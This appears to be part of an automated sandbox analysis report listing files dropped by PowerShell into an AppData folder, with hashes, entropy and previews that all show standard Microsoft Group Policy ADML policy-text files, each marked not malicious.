Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WCN_Category">Windows Connect Now</string>.. <string id="WCN_DisableWcnUi">Prohibit access of the Windows Connect Now wizards</string>.. <string id="WCN_DisableWcnUi_Help">This policy setting prohibits access to Windows Connect Now (WCN) wizards. ....If you enable this policy setting, the wizards are turned off and users have no access to any of the wizard tasks. All the configuration related tasks, including "Set up a wireless router or access point" and "Add a wireless device" are disabled. ....If you d

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\WindowsDefender.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 text, with very long lines (733), with CRLF line terminators
Category:	dropped
Size (bytes):	75437
Entropy (8bit):	4.739020696864297
Encrypted:	false
SSDEEP:	768:UtkTlKxkN82stKz65oqibddrfPaeq6wEqx2xkN8AAS2VHU/2:UWBD82noaTrfPae62xy8AASD2
MD5:	F1A80F0C326A0FDE6917DD3AD03C6561
SHA1:	C014384966DEF2C68671E9BED95371447D96FA77
SHA-256:	03DD8B1E813023915A4F0143749E9CE752F81EDB973D4071CA522A03028CE619
SHA-512:	5FC276B7F1A8D8C3AE163910007405CB38108F5728EE9A2FAE74DD134FCDF3972BA4D46905650C252C96A18BFB781564A626621DAD7F9AFF49BC9D6751399A16
Malicious:	false
Preview:	<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AntiSpyware">Windows Defender</string>.. <string id="Exclusions">Exclusions</string>.. <string id="NetworkRealtimeInspection">Network Inspection System</string>.. <string id="NetworkRealtimeInspection_Exclusions">Network Inspection System Exclusions</string>.. <string id="Quarantine">Quarantine</string>.. <string id="RealtimeProtection">Real-time Protection</string>.. <string id="Remediation">Remediation</string>.. <string id="Reporting">Reporting</string>.. <string id="Scan">Scan</string>.. <string id="SignatureUpdate">Signature Updates</string>..

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\WindowsExplorer.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (989), with CRLF line terminators
Category:	dropped
Size (bytes):	57954
Entropy (8bit):	4.692320082638433
Encrypted:	false
SSDEEP:	768:hctuJMsDha+k7JlgKVrag8E09FlZ9mzQNkQZZZaQZQP2BQvYIsyYiq:hpg8TluE5BQv5syYiq
MD5:	C1FBABFE3BC28D72CEB06DABDD8DCDDA
SHA1:	74660612AAE1056EBDB1DCBBE4D93AA163558AB4
SHA-256:	D350F2161317CCA32AD7BB4D6CF369F3AA81467122855F9FA8B8B0BA15F14893
SHA-512:	EC3B8C1449B89C5981CEC9D3F2072AD66D2C92FAC2336365C341959FF9AB60B60083C39D1413217B4F07FFEE3389B4C6DCFFF5B7A7F38EE781A934212F5A1A66
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ABCDOnly">Restrict A, B, C and D drives only</string>.. <string id="ABConly">Restrict A, B and C drives only</string>.. <string id="ABOnly">Restrict A and B drives only</string>.. <string id="ALLDrives">Restrict all drives</string>.. <string id="ClassicShell">Turn on Classic Shell</string>.. <string id="ClassicShell_Help">This setting allows an administrator to revert specific Windows Shell behavior to classic Shell behavior.....If you enable this setting, users cannot configure their syste

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\WindowsFileProtection.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4257
Entropy (8bit):	4.850396400130338
Encrypted:	false
SSDEEP:	96:LeD5pm1WXTuo/WBDr5RCutnwFBTb8WEMa3GUiKV:EQVJtwV3Zahi+
MD5:	2652912F37E3671937BB50F97C05FADF
SHA1:	F1B96B528263077B0DD66B9C004E923EAA71C6E8
SHA-256:	D7293FB074E7098858E2090DB60C7E3A8DC96FA062FACBABDA34AF48C57A4A8A
SHA-512:	F462F5F732207EFB517FAB537A556A80BD8BFE80302EBAF9436E34B3788ADF2907F53D08AF871D57EDD03D2C457ECC709320F7DC7F0D33F68F4E2254C111A9AF
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WFP">Windows File Protection</string>.. <string id="WFPDllCacheDir">Specify Windows File Protection cache location</string>.. <string id="WFPDllCacheDir_Help">This policy setting specifies an alternate location for the Windows File Protection cache.....If you enable this policy setting, enter the fully qualified local path to the new location in the "Cache file path" box.....If you disable this setting or do not configure it, the Windows File Protection cache is located in the %Systemroot%\System32\Dllcac

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\WindowsFirewall.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (1085), with CRLF line terminators
Category:	dropped
Size (bytes):	43147
Entropy (8bit):	4.809526069081037
Encrypted:	false
SSDEEP:	384:1OHZuj3f3oPzINNKREqPRLHN83hOzwPvW+0NQkAV2ld0lrlBjSMDt3sKaT7c7cA:Z3jNNsohbvW+0NQkAV2ld0lrlB7
MD5:	0DDDC70E928C3191D6DB487772FCDDD6
SHA1:	124DCC7A766E35E7B8BD9C3EF6C5E62A447F6282
SHA-256:	5625F229BC2CE0518F0689C32B02F208D1B160274D5C9AC00707A15FD4F254AB
SHA-512:	BF17199483BB0DA38AEA1B64BC98CDED7F000B264BC45444423AC60D710E5855445BEB097523D28FB305E82824B75A4C76F99BA4488D9FA22754853A0BBDC073
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WF_AllowedPrograms_Help">Allows you to view and change the program exceptions list defined by Group Policy. Windows Firewall uses two program exception lists: one is defined by Group Policy settings and the other is defined by the Windows Firewall component in Control Panel.....If you enable this policy setting, you can view and change the program exceptions list defined by Group Policy. If you add a program to this list and set its status to Enabled, that program can receive unsolicited incoming messages on any po

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\WindowsMail.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1162
Entropy (8bit):	4.9740818694409095
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61ynrrl8q+O0jSBC7knRupMRud+FV:cgeD5x8gm8fKs2q2SA7aoMzFV
MD5:	2CDED79A2DD5C6D41BFAA7567008F5CD
SHA1:	EC6C5B95AF0DC5559BD8013B3150600AFDCEEEBF
SHA-256:	9C7A2043D9D255F11092CE1303ABFD599BBEFC4459D1C87308D4738E2E7225A2
SHA-512:	C78FC573B695F8C1AE28056E1A19D80EBCB840D8FC7576353E50951043BC4E2F2E020DB9AE1BF2B81F53DF936E34C40BD1B84322F117B898E01B128D01BE1A33
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="TurnOffCommunities">Turn off the communities features</string>.. <string id="TurnOffCommunities_help">Windows Mail will not check your newsgroup servers for Communities support.</string>.. <string id="TurnOffWindowsMail">Turn off Windows Mail application</string>.. <string id="WindowsMail">Windows Mail</string>.. <string id="WindowsMail_help">Denies or allows access to the Windows Mail application.....If you enable this setting, access to the Windows Mail application is denied.....If you disable

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\WindowsMediaDRM.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (432), with CRLF line terminators
Category:	dropped
Size (bytes):	1636
Entropy (8bit):	4.844281894305683
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKmlUrPmP6TuZY4UG4c2SDlSFV:LeD5pm6lY1TuCG4IDUFV
MD5:	0BEF85C5A51F0980D97B8F87CC124C6B
SHA1:	72C086550C97C4E87B55D7171AA36E1EA33F1371
SHA-256:	EEFF3058ED45FA9E18846EE53BE4EF621B20BA2D7BB4535A81CDBF8066604E68
SHA-512:	CDD4647BC6B6CE9A3F1ED741C0929C1C768F0E4AF1B2DE27D7C161153CA744117FC34CFEF91C5DC72EDB8AE7FAD91C95F5125E90F2F02ACC27796A37B6E9B190
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DisableOnline">Prevent Windows Media DRM Internet Access</string>.. <string id="DisableOnlineExplain">Prevents Windows Media Digital Rights Management (DRM) from accessing the Internet (or intranet).....When enabled, Windows Media DRM is prevented from accessing the Internet (or intranet) for license acquisition and security upgrades.....When this policy is enabled, programs are not able to acquire licenses for secure content, upgrade Windows Media DRM security components, or restore backed up content licenses

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\WindowsMediaPlayer.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (560), with CRLF line terminators
Category:	dropped
Size (bytes):	22067
Entropy (8bit):	4.725628900708413
Encrypted:	false
SSDEEP:	384:mndYKgb1n1M2UKzDSLikfF6vkRssT0vdtUL607p7aH:cbu3kQDGfFRsY0vQB7pc
MD5:	2E98C6915989DDC7243EFCC53275A5FC
SHA1:	D83FCE256850CA49F4F58F3D6DE0EFA6F1524B03
SHA-256:	AC668C6094254BED8D12F1BF3B6D8E60B552C288ACF47FAB101AB889BA9D824E
SHA-512:	D03A54A7ECB7186CDAE5EE39795F9B688C3E193847D0ED0F15CDF3EFC70077DDF2E572A2A5996641A000C4BECCF6C3E090A21FDEFB2D38B996EFF1D9F4771458
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Autodetect">Autodetect</string>.. <string id="ConfigureHTTPProxySettings">Configure HTTP Proxy</string>.. <string id="ConfigureHTTPProxySettingsExplain">This policy setting allows you to specify the HTTP proxy settings for Windows Media Player.....If you enable this policy setting, select one of the following proxy types:....- Autodetect: the proxy settings are automatically detected...- Custom: unique proxy settings are used...- Use browser proxy settings: browser's proxy settings are used.....If the Cus

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\WindowsMessenger.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2609
Entropy (8bit):	4.83243600779635
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKurmiSL30cT3cCtwpYS3tyLmHI+P25YS3t3zdFV:LeD5pmD7TMSy2FV
MD5:	3B589ADE17CCE578D294FF56D65F5321
SHA1:	3885D1E98889369FCDF0570B76601B0EEAAEED09
SHA-256:	BA36F02C4F20E6A6075C3091D0FD5BC81F6589552889FE4055C4BD90831A7699
SHA-512:	4BA6FE1BFB1209B03EA09ADDC64C288D9F076CD72EF968517E12A60AB8EC2060EF877D268ADA856D1B5BD4AA55CAE784D95F033FA839B66A84A039F8F0EFA206
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WinMSG_NoAutoStartWindowsMsg_Comp">Do not automatically start Windows Messenger initially</string>.. <string id="WinMSG_NoAutoStartWindowsMsg_Help">This policy setting prevents Windows Messenger from automatically running at logon. ....If you enable this policy setting, Windows Messenger is not loaded automatically when a user logs on.....If you disable or do not configure this policy setting, Windows Messenger will be loaded automatically at logon.....Note: This policy setting simply prevents Windows Messenge

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\WindowsProducts.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5639
Entropy (8bit):	4.939572011046928
Encrypted:	false
SSDEEP:	96:LeD5a2Uy2oPZVH9GQPVtmkPl7Q6sP9dBIP0KP6bLPbxTPJiPG5CP5ubPbDyG7kWq:ENPnOXiVyZcNmTDxun
MD5:	14C496DDE1D1ACC8B3809CF194122870
SHA1:	4A500C7707FD2791A0118C078D5113B0EF4A2844
SHA-256:	C662D7E4BF2848728B8F335734CB6500C40E88727F1ABFABCD1E097B4C6B4FB3
SHA-512:	5FF521B1B1A903132003B2F20BE3502BA69388D8A9839EB4B8485B56EFB71751B0B69AFC0AF56B0601910A685CE4025F43930A1C24FCD8DDB585A8E17AD35760
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions" revision="1.0" schemaVersion="1.0">.. <displayName>Windows Vista products table</displayName>.. <description>This file contains all the product definitions used in supported on definitions.</description>.... <resources>.. <stringTable>.. Microsoft Windows -->.. <string id="MicrosoftWindows">Windows operating system</string>.. <string id="MicrosoftWindows2000">Windows 2000 operating systems</string>.. <string id="MicrosoftWindows2000_RTM">Windows 2000</string>.. <string id="MicrosoftWindows2000_SP1">Windows 2000 Service Pack 1</string>.. <string id="MicrosoftWindows2000_SP2">Windows 2000 Service Pack 2</string>.. <string id="MicrosoftWindows2000_SP3">Windows 2000

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\WindowsRemoteManagement.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (354), with CRLF line terminators
Category:	dropped
Size (bytes):	14554
Entropy (8bit):	4.769003944604622
Encrypted:	false
SSDEEP:	192:EGUQ3V7eAfrBxq5L/cPcFS5YCZXGSqHL/LmLlUCEXjNi2+J1+sEG:9tBc5LUPcKYCZXGSqHDLmBcNi2S
MD5:	E24B954C1451F81FC8559A0F42D8B804
SHA1:	02CDBB99F2546ED8DD467B9799FDA9DECFE1F716
SHA-256:	A8B80A925FCC599E485029B1833C58865A6A16D872FB8766F9ACB8A1E0752D93
SHA-512:	156521221250B6029798C10A2BF138954280AEE73D34FEFCC6D6B3ABB9399824B9135D76A2F8FF1F975F1818D123E6D56DCAD7655E6D6EC5851E7D661926A802
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AllowAutoConfig">Allow remote server management through WinRM</string>.. <string id="AllowBasic">Allow Basic authentication</string>.. <string id="AllowBasicClientHelp">This policy setting allows you to manage whether the Windows Remote Management (WinRM) client uses Basic authentication.....If you enable this policy setting, the WinRM client uses Basic authentication. If WinRM is configured to use HTTP transport, the user name and password are sent over the network as clear text.....If you disable or do

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\WindowsRemoteShell.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5497
Entropy (8bit):	4.839558778753586
Encrypted:	false
SSDEEP:	96:LeD5pmCfYYOpQgxeUMP5pWuPG47CngUmOuWg9m56V:EBfY/MPCCG4OngUq0o
MD5:	157A758A1233F9764CDFFCB79F8ADAB2
SHA1:	F1203844E770993418DCB257146C5BF98532F5C0
SHA-256:	35C10ECD562212B9C242ABCEA3EECD82965F173B8F8F2A848F1DD94F725EF0A1
SHA-512:	8E70D00D0FEA7F5164EC8BA0FF8B7F548A76A830DA19094827590D46399C4A1F5E21AA2054B5637F1C91095957DE1610C28BCC3974ED3FB36BE3ED6F2D067D45
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AllowRemoteShellAccess">Allow Remote Shell Access</string>.. <string id="AllowRemoteShellAccess_Help">This policy setting configures access to remote shells.....If you enable this policy setting and set it to False, new remote shell connections are rejected by the server.....If you disable or do not configure this policy setting, new remote shell connections are allowed.</string>.. <string id="IdleTimeout">Specify idle Timeout</string>.. <string id="IdleTimeout_Help">This policy setting configures th

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\WindowsServer.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1011
Entropy (8bit):	5.086298346478668
Encrypted:	false
SSDEEP:	24:2dgeD5eo8x4+cCk2q1qOyENX/itRgv8FFV:cgeD5x8lcT/XNUFFV
MD5:	14AEA48E9379243660E8B568A71EF533
SHA1:	1EACA2C4A36AB2762757FA7CAA1D4256910ECC95
SHA-256:	A96786FAA32516C2738C2EC94E676F3D339732AB39318D7CDFFA478A2BAE1231
SHA-512:	24AF5CA8EB9650B61FF0A01467A36DD3F55C90741A4FD04C067420A3E150B57F50ADD536513B4D3F0E7A1EC37138205850FFAAED51A1525E1F063C737EFB50E7
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions" revision="1.0" schemaVersion="1.0">.. <displayName>Windows Server 2008 base categories and supported component definitions</displayName>.. <description>This file contains all the base categories and supported component definitions used by server components.</description>.... <resources>.. <stringTable>.. <string id="SUPPORTED_WindowsServer2008">At least Windows Server 2008</string>.. <string id="SUPPORTED_WindowsServer2003R2">At least Windows Server 2003 R2</string>.. <string id="ServerComponents">Server Components</string>.. <string id="ServerComponents_Help">Contains settings for server operating system components.</string>.. </stringTable>.. </resources>..</policyDefinitionR

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\WindowsUpdate.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (561), with CRLF line terminators
Category:	dropped
Size (bytes):	34731
Entropy (8bit):	4.71530009460394
Encrypted:	false
SSDEEP:	384:xtl2CSosXR2nMZIvHWRzwjxqDx6rUtuLTaUL4wl2bux0AcY5Bnn6aaF8MSaUVNKl:xtlwhQMZI/W5w8t6rjxXcYXnhaa3Tu
MD5:	1B4DF1C94FAE81C341ABEA40C9ADAD9C
SHA1:	7DBDE04EFAF2D6B703417CC6FB0B146D6FD4214F
SHA-256:	2AEC8DCD9608B57D3D65321B399FAA530552027F0E3CA814F477816DF803E201
SHA-512:	4CFCE39BA34EE283EEC89900AFCA583AE9C0AE86CAA3EE8EC90891347825AF81DD82BD08960551852C6B7C8FD77B5ECDE9BA75C16A3986B7663CB494E3C6E30A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->.. .. Note that white space is preserved as is in the text shown in the Group Policy UI... Don't add extra line breaks at the beginning and end of text strings,.. and make sure that lines of text start in the FIRST column... -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WU_SUPPORTED_Windows7ToXPSP2">Windows 7, Windows Server 2008 R2, Windows Vista, Windows XP SP2</string>.. <string id="WU_SUPPORTED_Windows7_To_Win2kSP3_Or_XPSP1">Windows 7, Windows Server 2008 R2, Windows Vista, Windows Server 2003, Windows XP SP2, Windows XP SP1 , Windows 2000

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\Winsrv.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (336), with CRLF line terminators
Category:	dropped
Size (bytes):	1453
Entropy (8bit):	4.91354096133356
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yQ2X/L2jnwwvXzAd7l4d7FFV:cgeD5x8gm8fKj2T27NmEFV
MD5:	76D4B8899387BCD0C081D4301E1B18DE
SHA1:	EBC1DD18A8893ED391379021941451D89692CDCD
SHA-256:	41331BF31C4BA79B1FF7169EFA27CF37AEE5ED269C1C6894AF78F3F6FB40AE59
SHA-512:	629E37A4E24C60A3E34795F17A5E132DBDAEF40F43AF01B451F6024A4FFC93D36F0381B0B413CE2374778C9D50326345BF0B460D7CCD8F8B5CB1A747CD66F1FF
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AllowBlockingAppsAtShutdown">Turn off automatic termination of applications that block or cancel shutdown</string>.. <string id="AllowBlockingAppsAtShutdown_Explain">This policy setting specifies whether Windows will allow console applications and GUI applications without visible top-level windows to block or cancel shutdown. By default, such applications are automatically terminated if they attempt to cancel shutdown or block it indefinitely.....If you enable this setting, console applications or GUI applicat

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\WordWheel.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2619
Entropy (8bit):	4.83283675002977
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKEupdt44XktQFqMQFbC1RARWJUudgJjT5YMcxL5oV:LeD5pmBhIQwMQE1E5Pk9oV
MD5:	A5FE2005E14E5E7E8792CE0C2BDF53A8
SHA1:	D4EE1B57FE5C5387E241B51F6209DDD45A6D5BE4
SHA-256:	8CB5F08BC1D73EE9C83EF7043A8BDA0CF250E7BEDD1C84E700E6A8A913BEAF86
SHA-512:	332BF547D8883DF20AA82D2C6F9E3DCD89E2997EC16436A377F6135DF1136B595A9B91EB91C70BD3068F71EBA72007C4DAE32D3B0584A5FB392A9158A57036B7
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="CustomSearch">Custom Instant Search Internet search provider</string>.. <string id="CustomSearch_Explain">Set up the menu name and URL for the custom Internet search provider.....If you enable this setting, the specified menu name and URL will be used for Internet searches.....If you disable or not configure this setting, the default Internet search provider will be used.</string>.. <string id="NoSearchInternetInWordWheel">Hide the "Search the Internet" link from the Search box drop down.</string>..

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\WorkFolders-Client.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (591), with CRLF line terminators
Category:	dropped
Size (bytes):	3464
Entropy (8bit):	4.792120480185555
Encrypted:	false
SSDEEP:	48:cmD5x8gm8fK9186+SciILEl1h8gCgU+7AJcih/qAUJhbWEPIV:PD5pmh186+Sc8h8XrJcEQJxWEPIV
MD5:	F6075FA597F6343205F02CFAF7CF87A7
SHA1:	7A1F11393676AF8A2B8C95EEDE05007A6F2DB31E
SHA-256:	B6A4F7EBE7A44F81B7A5D4C7A38FEA3FCFCD184FA16E46863C1535323197BE1A
SHA-512:	40358DE36BFC342FE314B6FADACA3B1523BB05658F792F1306FC0E4334E50CADD55777069F59E0483C77A5D13C07293909F4BD2596757EF7B2D3504D37522A9A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2012 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Cat_WorkFolders">Work Folders</string>.. <string id="Pol_MachineEnableWorkFolders">Force automatic setup for all users</string>.. <string id="Pol_MachineEnableWorkFolders_Help">This policy setting specifies whether Work Folders should be set up automatically for all users of the affected computer... ..If you enable this policy setting, Work Folders will be set up automatically for all users of the affected computer. This prevents users from choosing not to use Work Folders on the computer; it also pr

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\WorkplaceJoin.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1317
Entropy (8bit):	5.059573414260519
Encrypted:	false
SSDEEP:	24:2d1D5eo8gWt4+3FGxiKRI/LeVQLhqeS1FLiRj/eRBAlA5TtT849eLaa6rTM7ijFV:c1D5x8gmjKhGLJ8uwdxPkOr1jFV
MD5:	68E7E1BEE13094C1C0F9896F82B4D741
SHA1:	5D7F87C220EA3EB57322C9FC0986B2EFCAEBB01A
SHA-256:	4754F8A9B020216A0F9CA4C7357A6794D3C98735D9B7857FCBC19ED1401021E3
SHA-512:	6CCD89B24AC4D9232D45A91E3002F69230BA38A878057ABC0A0BD07F3B7A44CC9E97BE29267CBB56C9D3304EC9CA75C3E662DA1D2E154F3155A029F30C6ACF91
Malicious:	false
